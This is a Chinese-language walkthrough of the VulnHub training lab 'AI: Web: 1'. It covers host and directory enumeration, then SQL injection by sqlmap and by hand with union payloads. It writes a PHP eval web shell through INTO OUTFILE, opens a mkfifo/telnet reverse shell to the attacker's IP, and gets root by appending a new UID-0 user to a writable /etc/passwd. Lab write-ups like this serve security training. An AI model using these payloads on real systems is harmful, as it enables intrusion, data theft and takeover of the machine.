# 前言

单纯是应要求找 sql 注入 getshell 的靶机,所以找到了一个这样的靶机,简单的记录一下

# 靶机介绍

难度:中级

网络:DHCP(自动分配)

网络模式:NAT

该框旨在测试渗透测试人员的技能。目标很简单。从 /root/flag.txt 获取标志。 枚举框,获取低特权 shell,然后将权限升级到 root

  • DHCP 服务:已启用
  • IP 地址:自动分配

靶机地址:AI: Web: 1 ~ VulnHub

目标:获取 root 权限,拿到 flag

# 环境搭建

将文件下载下来后解压进入相关目录

然后点击 AI-WEB-1.0.vmx 选择使用 VM 打开即可

环境搭建成功后展示下图所示的页面

# 攻击流程

信息收集

# 信息收集

这里使用 kali 上自带的 arp-scan 工具来进行一个主机发现

sudo arp-scan -l

这里可以看到主机 192.168.10.164 存活,其他的 ip 是 kali 其他服务所需 ip,这里不用管。接着对目标主机进行一个 ip 端口扫描

nmap -p- 192.168.10.164

这里可以看到只开放了一个 80 端口,这里已经可以看到是一个 http 服务,进一步进行一个协议的发现

nmap -p80 -sV 192.168.10.164

到这里就可以确定他是一个 Apache 协议开放的一个 httpd 服务,这里直接去访问查看一下

可惜的是网站的根目录并没有什么有用的信息,所以这里需要进一步的信息收集

dirsearch -u http://192.168.10.164/

这里能发现的只有 robots.txt 文件,所以这里直接去访问这个文件

这里可以看到给了两个目录,这里直接去尝试去访问两个目录

这里没有都返回 403,无权限访问,所以很显然这里需要进一步的目录爆破

dirsearch -u http://192.168.10.164/se3reTdir777/

这里扫描到了一个 index.php,这里直接去访问

dirsearch -u http://192.168.10.164/m3diNf0/

这里可以看见在 m3diNf0 目录下有一个 info.php 文件,一般这种文件都是用来展示一些信息的,这里也是直接去访问

这里简单的翻了一下

在这里有网站根目录的路径

/home/www/html/web1x443290o2sdf92213

但是这里目前并没有太大的作用

# sql 注入

然后我们将目光放回到前面 se3reTdir777 目录下的 index.php

这里可以看到它只有一个提交窗口,这里提交一个 1

将 id 为 1 的用户查询了出来,很显然这里可能存在 sql 注入漏洞,这里直接提交一个单引号

这个报错很显然闭合方式是单引号闭合

1' and 1=1#

这里使用这个语句可以看到成功执行,前面的判断正确的,这里抓包看一下它提交数据的地方,这里我使用的是 kali,考虑到有些同学没有使用过 kali 的 burp 这里简单说一下浏览器改代理的地方

打开浏览器的设置

这里直接搜索 proxy,然后点击 setting

如上图配置即可,然后抓包

这里可以看到其是用 post 提交了 uid 和 Operation 两个参数

# sqlmap

这里我直接使用 sqlmap

sqlmap -u "http://192.168.10.164/se3reTdir777/" --data "uid=1&Operation=Submit"  --dbs

这里可以看到有一一个数据库 aiweb1,这里接着查表

sqlmap -u "http://192.168.10.164/se3reTdir777/" --data "uid=1&Operation=Submit"  -D aiweb1 --tables

这里可以分别看一下两个表中的数据,先看 user 表

sqlmap -u "http://192.168.10.164/se3reTdir777/" --data "uid=1&Operation=Submit"  -D aiweb1 -T user --dump

这个数据是在 web 页面输入数字就可以直接拿到的,很显然没有什么太大的作用,这里看另一个表 systemUser

sqlmap -u "http://192.168.10.164/se3reTdir777/" --data "uid=1&Operation=Submit"  -D aiweb1 -T systemUser --dump

这里有几个选项稍微注意一下,这个字典选着一即可,其他的都直接回车

这里拿到三个密码,是用 base64 编码后的,这里依次解码后发现都不是有用的密码

数据库中都不能拿到有用的信息,这里查看当前用户的权限

sqlmap -u "http://192.168.10.164/se3reTdir777/" --data "uid=1&Operation=Submit"  --privileges

可以看到他是有一个文件操作权限的,所以这里直接使用 --os-shell 参数

sqlmap -u "http://192.168.10.164/se3reTdir777/" --data "uid=1&Operation=Submit"  --os-shell

这里是一个 php 的服务,所以这里直接回车默认即可

这里文件位置选择 2 自定义,因为前面在 info.php 文件中可以看到,他的目录十分复杂不是常规的目录,所以这里需要我们自定义木马存放目录

但是在网站更目录没有写的权限,这里写前面的 upload 目录

/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/

这里就拿到了一个 shell

# 反弹 shell

这里反弹 shell

mkfifo /tmp/test;telnet 192.168.10.161 2333 0</tmp/test|/bin/sh > /tmp/test

在 kali 上开启一个端口监听

nc -lvp 2333

简单说明一下这个命令

  1. 创建一个名为 /tmp/test 的命名管道(FIFO)。
  2. 使用 telnet 命令连接到 192.168.10.1612333 端口。
  3. telnet 的输入(stdin)被重定向为来自 /tmp/test 的数据。
  4. telnet 的输出(stdout 和 stderr)被重定向到 /tmp/test ,这样你可以在本地读取远程服务器的响应。
  5. 在远程服务器上运行 /bin/sh ,这将创建一个交互式 Shell 连接,你可以通过 telnet 进行控制

# 手工注入

前面已经判断出来了是单引号闭合,接下来判断字段数

1'+order+by+3#
1'+order+by+4#

这里可以看见 3 能够正常回显,4 出现了报错,所以这里字段数为 3,然后判断回显点

1'+union+select+user(),user(),user()#

三个字段都可以回显数据,所以这里哪个都行,接下来直接通过联合查询来获取数据

0'+union+select+(select+group_concat(table_name)+from+information_schema.tables+where+table_schema=database()),user(),user()#

这里可以看到和前面使用 sqlmap 跑出来的结果是一样的

0'+union+select+(select+group_concat(column_name)+from+information_schema.columns+where+table_name='user'),user(),user()#

0'+union+select+(select+group_concat(firstName)+from+user),user(),user()#

这里可以看见已经拿到了表中的数据,这里查询数据仅做演示,所以另一个表不在演示

0'+union+select+1,'<?php+eval($_POST["a"]);?>',3+into+outfile+"/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/shell.php"#

然后去访问 uploads 下面的 shell.php

这样就是已经写进去了,这里抓包

# 反弹 shell
system("mkfifo+/tmp/test;telnet+192.168.10.161+2333+0</tmp/test|/bin/sh+>+/tmp/test");

这里也是成功拿到一个 shell

# 提权

前面用工具和手工两种方式拿到了一个基础权限,先用 python 升级一下终端

python -c "import pty;pty.spawn('/bin/bash')"

这个 Python 命令用于在一个终端中生成一个交互式的 Bash Shell。它利用了 Python 的 pty 模块来生成一个伪终端(pseudo-terminal),然后在该伪终端上运行 /bin/bash ,从而创建一个交互式的 Bash Shell。

使用命令: uname -a 当前内核版本

但是没有找到相关的漏洞利用脚本

这里使用 sudo -l 想要查看相关配置,但是发现需要当前用户的密码

很显然这个思路是不行的,在后面查看各个文件想要提权,后来发现了这个 etc/passwd 这个文件所有者和所属组都是当前用户

这个文件中其中包含了登录 Linux 系统所必需的每个用户的信息。它保存用户的有用信息,这里修改这个文件生成一个新的有 root 权限的用户即可,先使用 openssl 来生成一个新用户

openssl passwd -1 -salt c1own 123456

echo 'c1own:$1$c1own$qlOWeZiMWiTqcetiPOx8V0:0:0::/root:/bin/bash' >> /etc/passwd

然后 su 到 c1own 用户

然后直接打开 flag